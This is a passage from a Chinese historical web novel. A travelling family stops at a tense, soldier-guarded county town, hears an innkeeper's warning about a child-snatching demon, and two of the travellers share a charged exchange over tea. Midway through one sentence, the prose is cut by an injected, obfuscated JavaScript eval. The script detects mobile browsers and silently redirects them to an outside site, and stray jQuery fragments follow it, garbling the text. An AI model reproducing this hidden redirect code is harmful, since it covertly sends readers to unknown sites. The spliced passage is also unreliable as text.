早日南下的打算既定，沈却同父亲父母商议一番后，舍了宅中大多无用之物，三五日便可启程。


    十一月初，一行人自颍州汝阴出发，自东奔赴淮水对岸的寿春。


    风卷着冷，寒雨初歇，道中泥泞不堪。


    殷素与孙若絮同乘一辆牛车，便以照拂。


    牛车虽平稳，然山路陡斜，将车内昏昏欲睡的二人彻底摇醒。


    孙若絮打了个哈欠，睡眼惺忪地撩起帘子朝外看。


    便听外头翠柳声色清脆，“阿郎言前处便是凤台县，今夜暂歇，明日晨起渡淮水。”


    “凤台县。”孙若絮探头四顾，不由奇道：“外头竟守着这般多兵卫，莫非有贵人临县？”


    殷素闻此，忽而睁眼俯身朝左，她借着孙若絮扬起的帘朝远望去。


    兵卫的营帐扎在林中，四野俱静，唯见雨熄后的炊烟正一股股冲天。


    她略微木钝的神觉慢慢牵动，一点点朝近处望至远处。


    县外安营扎寨数不少，且沿路至高竖木匾下，皆有驻所。


    殷素无神面色忽而微变。


    按理，军中若要守城歇息，不会排布散漫无章，如此近百姓。


    “怎么了？沈娘子为何神色凝重？”孙若絮偏头打量她，又循其目光瞧观那些营帐。


    殷素动了动唇，低语：“觉得奇怪。”


    孙若絮虽不晓得殷素从前是在何处营生，有过怎样的乱世惨状，但她觉得如今世道，活下来已尤为不容易，便更信了沈二娘这一份不安的洞察。


    可仰头注视灰暗的天色，想来已经快临近申时，她不由叹道：“可是今日没处落脚，是定要入凤台小住一夜。”


    视线中朦胧灰景已成了垂下的帷帐，殷素眸子一动，缓缓移转。


    “许是我多虑，未曾见过旁州别县。”


    孙若絮听出些不同，试探着问：“沈娘子昔日在何州谋生？”


    恐沈意多心，她又忙自陈过往，“妾本蜀中人氏，和离后，流寓汴州开封，看着些皇帝几载不到便被砍了头，我便朝下避难躲至宋州，可造反的鼓动三两声起，州里头也不安生，复又迁谯县，方得了数月安宁。”


    她扭头，再次问：“沈娘子呢？”


    殷素倚于车壁，微不可觉地抿一下唇。


    “从前，我靠着耍技营生，有一阿弟相伴四载，我辗转之处甚少，也曾在开封府呆过些时日。”


    孙若絮面上惊愕，瞧不出沈意竟然会此些，又闻阿弟，忙追问：“那怎么未见着女娘阿弟？”


    殷素默然，情绪缓沉。


    孙若絮很快反应过来，顿觉失语，“妾的错……提及沈娘子伤心事。”


    “我也不知道，他是否还活着。”殷素垂眸，盯着衣衫间的那双手，“他也许只是同我走散，他那么聪慧，若是死了……”


    殷素音调不稳，话卡在喉间。


    她惨然知晓，一切不过是未见着最后一面的一丝希冀罢了。


    幽州血海里，他活不下来。


    孙若絮忙抚上她的手，宽慰道：“沈娘子定还能见着阿弟，无非是女娘如今身子不便，若养好了，天大地大何处寻不到人？”


    须臾，不待殷素开口，她忙又生硬转过话，“先前听娘子提及开封府，不知是哪年光景？说不准，我二人还有过一面之缘呢。”


    “天佑五年。”殷素神色涣散了些，缓忆起可熨心的旧事，“至天佑七年，那两载乃我在开封府最难忘的年岁。”


    什么都不懂，什么都想要，阿耶宠着，阿娘哄着。


    天也不怕，地也不怕。


    还有……


    日日满街窜着寻人。


    孙若絮唏嘘，“沈娘子是赶上了好时候，妾入开封府时已是乾化二年，乱得很。子弑父，弟弑兄，皇位如流水，脑袋一热便争得头破血流。”


    “那孙娘子缘何离开大蜀呢？”


    “因为和离嘛！”孙若絮卷着衣摆，“我同他虽说是和离，但闹得很是难看，连着蜀中我亦不想呆下去。”


    “再者，那时蜀中也不安定，蜀君与岐开战颇多，北争西斗，百姓多苦。他不认汴梁，唯奉唐廷，但却仇晋，如今见着东面‘大唐’只怕要呕血呢。”


    殷素沉闷下来。


    她不由又陷入与晋的那场战事。


    “你可知晓……几月前幽州一带同晋开战？”殷素转过目，望向孙若絮。


    她不知晓后事后状，沈却也并不愿全盘告诉她。


    牛车渐渐缓下来了，车内两人仍旧叙着话。


    “如何不晓得。”孙若絮听她提及幽州，又依着前头的三言两语，轻易便脑补出沈二娘的过往。


    一个凭着杂耍谋生的女娘，不幸卷入一场战火，只怕一身伤就是被战事伤及无辜所致。


    思及此，她不由泄恨骂道：“没脸皮外夷晋王，如今听说已经在魏州称帝，倒还号起唐来，若非幽州殷尧阻了他称帝的路，如何敢直杵杵正面着汴州开封府，升魏州为东京兴唐府。”


    骂了这头，她又骂起另一头，“汴梁皇帝也非是个好东西，老子糊涂猜忌，儿子也荒淫，把大梁最后一位地大兵广的使君弄没了，心里头才舒坦了！”


    殷素怔怔听她叫骂。


    一时困她太久的事好似有了眉目。


    平卢军究竟有没有北上？


    是她同阿耶没有撑住等到吗？


    还是他们一直凝望着，不愿入那道城界。


    是平卢王稍的错，还是皇帝朱奇的错？


    牛车彻底停下来了。


    帘子被掀开，灰白的光透进来。


    翠柳同孙若絮将殷素从里移上素舆。


    她适应了下阴云惨白的光亮，方才眯着眸子睁眼。


    沈却也正撩帐下车，瞧望四周。


    一行人立在有些冷清的街巷里头，承着来来往往算不上太和善的打量。


    身后肉铺有一下没一下地剁刀，殷红鲜血顺着铺面流了一地。


    往旁处瞧，茶楼旗面迎风斜坠，满楼之人皆探出头张望他们。


    朝上望，旗旁立着一位五大三粗的男人，头裹巾子，身穿软甲，手中横刀正搁于窗框。


    这是外头安营扎寨的兵将。


    殷素瞳仁猛得一缩，瞧出他们眼中的不怀好意，慌忙扭头急唤。


    “沈——”


    “哎呦！郎君娘子们是要住店罢！”


    殷素的话被人一阻，只瞧对面旅舍冒出位布衣女娘，脸上正仰着笑，迈过门槛乐吟吟来到跟前。


    “咱家这旅舍是县里头顶好的，一夜只需一百一十文，瞧郎君娘子们人多，咱们还能抹去些零头！”


    孙若絮远远地盯着女掌柜，又朝殷素小声道：“这位女娘子倒像是将哭过一场，如今笑得渗人。”


    一旁二老也觉出些不对劲，便听沈顷客气言：“多谢掌柜，我们乃是进县里头问个路。”


    他笑得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579622|171585||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    和气，又拱手问：“不知往宿州行，该取何道？"”


    “哎呦如何不晓得，不过如今去只怕要在露宿荒林了，倒不如在凤台歇息一夜，赶明儿一早，我遣人给你们指路！”


    王代玉摆手，“我们赶急，露宿也使得。”


    女掌柜神色可见般地急促起来，一个劲儿阻道：“娘子不晓得外头得利害！进来时可瞧见守着的官兵啦。”


    “那是官兵？”沈顷狐疑问。


    “便是官兵。”掌柜连连点头，四处张望一番后便苦口婆心地劝：“如今世道乱，咱们这儿出了个夜叉精，夜里头神不知鬼不觉掳走幼童女娘，先前还是在县外，现在已混到县里来了！”


    她小声解释：“外头守着的官兵，便是为了防住那该死的夜叉精！”


    一句夜叉精，倒叫沈家一行人毛骨悚然。


    殷素神色微动，扭头朝先前的茶楼望去，只见早已如常。


    她又细细思忖初来时连片的营帐，若如掌柜所言，倒也不甚奇怪了。


    “既有官兵守着，咱们便再此小住一晚。”沈顷同王代玉商议一番，很快定下主意。


    掌柜喜形于色，殷勤迎他们进去。


    殷素仍同孙若絮呆在一间屋，门将闭，便响起叩声。


    是沈却。


    颀长的身影靠在那儿，正动眸朝殷素望来。


    “将才在外，沈二娘有话同我讲？”


    殷素一愣，实话言：“只是方才觉得此县怪异。”


    孙若絮杵在旁，瞧两人一坐一立，隔着大段距离忽而双双闭口，她倒替人不自在起来。


    “既是一家人，那沈娘子同沈郎君慢聊，妾先去旁处转悠转悠。”话毕，她蹿出去，还好心替人合上了门。


    屋内更加阒然。


    殷素动不得身，只好坐于那儿，朝立如松竹的郎君轻道：“过来坐下罢。”


    沈却从容踱步至案前撩袍。


    “你也觉得此处怪异？”他十分熟稔地斟了杯茶，浅饮一口，见殷素视线落在盏内，倒是指节一蜷。


    很快，他抬手，又替殷素斟了杯。


    “方才立在外头，瞧见对面茶楼里有不少看热闹之人，所着虽像兵卫，但绝不是官兵之服。”殷素略微凝目，慢慢道：“但或许如那女掌柜所言，县外有食人者，百姓便自发想守着亲人，添一份安心。”


    “不过。”她一顿，朝沈却望去，“茶楼里确有官兵。”


    沈却迎着她的目光起身，淡声言：“如此说来，或可安一份心。”


    他踱步朝前，微倾身，那只握杯的手已悬在殷素唇边。


    雾气萦绕，模糊视线。


    殷素怔愣间，唇处已贴上温热，引得人下意识张口。


    她鲜少有此乖觉时。


    沈却忽而浮起些笑，骨腕朝上微扬，控制着热茶一点点被殷素饮入口。


    素舆上的女娘被迫抬起些下颌，俯仰间不经意撞入那双略略含笑的目。


    待她细察时，却又消失地一干二净。


    一种怪异的不自在感，便顺着背脊爬入头皮。


    她受不住，唇离杯壁，朝旁咳了几声。


    “呛着了？”沈却慢慢收回手。


    “无碍。”


    沈却没再坐下，而是搁至好茶盏，踱步朝外，“此处总归叫我不能全然安心。”


    他顿身，忽回望她，“夜里若是觉察不对，记得唤我。”


    “我就在旁。”